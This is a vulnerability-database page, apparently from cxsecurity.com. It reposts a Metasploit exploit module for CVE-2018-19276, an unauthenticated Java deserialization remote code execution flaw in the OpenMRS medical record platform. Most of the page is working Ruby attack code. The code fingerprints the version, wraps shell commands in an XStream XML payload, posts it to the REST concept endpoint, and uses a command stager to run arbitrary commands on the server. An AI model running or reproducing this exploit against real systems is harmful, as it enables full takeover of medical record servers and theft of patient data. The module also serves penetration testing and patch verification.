OpenMRS Java Deserialization Remote Code Execution

2019.12.18
Credit: Nicolas Serra
Risk: Low
Local: No
Remote: Yes
CWE: CWE-502


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'OpenMRS Java Deserialization RCE', 'Description' => %q( OpenMRS is an open-source platform that supplies users with a customizable medical record system. There exists an object deserialization vulnerability in the `webservices.rest` module used in OpenMRS Platform. Unauthenticated remote code execution can be achieved by sending a malicious XML payload to a Rest API endpoint such as `/ws/rest/v1/concept`. This module uses an XML payload generated with Marshalsec that targets the ImageIO component of the XStream library. Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java 8 and Java 9. ), 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Serra', # Vuln Discovery and PoC 'mpgn', # PoC 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'CVE', '2018-19276' ], [ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ], [ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ], [ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ] ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Linux', { 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Platform' => [ 'unix', 'linux' ], 'CmdStagerFlavor' => 'printf' } ] ], 'DisclosureDate' => '2019-02-04', 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(8081), OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ]) ]) register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ]) end def check res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path)) return CheckCode::Unknown("OpenMRS page unreachable.") unless res return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs') response = res.get_html_document version = response.at('body//h3') return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text version_no = version.text version_no = version_no.match(/\d+\.\d+\.\d*/) return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no version_no = Gem::Version.new(version_no) if (version_no < Gem::Version.new('1.11.8') || version_no.between?(Gem::Version.new('2'), Gem::Version.new('2.1.3'))) return CheckCode::Appears("OpenMRS platform version: #{version_no}") end CheckCode::Safe end def format_payload payload_data = payload.encoded.to_s.encode(xml: :text) payload_arr = payload_data.split(' ', 3) payload_arr.map { |arg| "<string>#{arg}</string>" }.join.gsub("'", "") end def read_payload_data(payload_cmd) # payload generated with Marshalsec erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb') payload_data = File.binread(erb_path) payload_data = ERB.new(payload_data).result(binding) rescue Errno::ENOENT fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}") end def execute_command(cmd, opts={}) cmd = cmd.encode(xml: :text) xml_data = "<string>sh</string><string>-c</string><string>#{cmd}</string>" rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept') payload_data = read_payload_data(xml_data) send_request_cgi( 'method' => 'POST', 'uri' => rest_uri, 'headers' => { 'Content-Type' => 'text/xml' }, 'data' => payload_data ) end def exploit chk_status = check print_status('Target is running OpenMRS') if chk_status == CheckCode::Appears unless ((chk_status == CheckCode::Appears || chk_status == CheckCode::Detected) || datastore['ForceExploit'] ) fail_with(Failure::NoTarget, 'Target is not vulnerable') end cmds = generate_cmdstager(:concat_operator => '&&') print_status('Sending payload...') cmds.first.split('&&').map { |cmd| execute_command(cmd) } end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top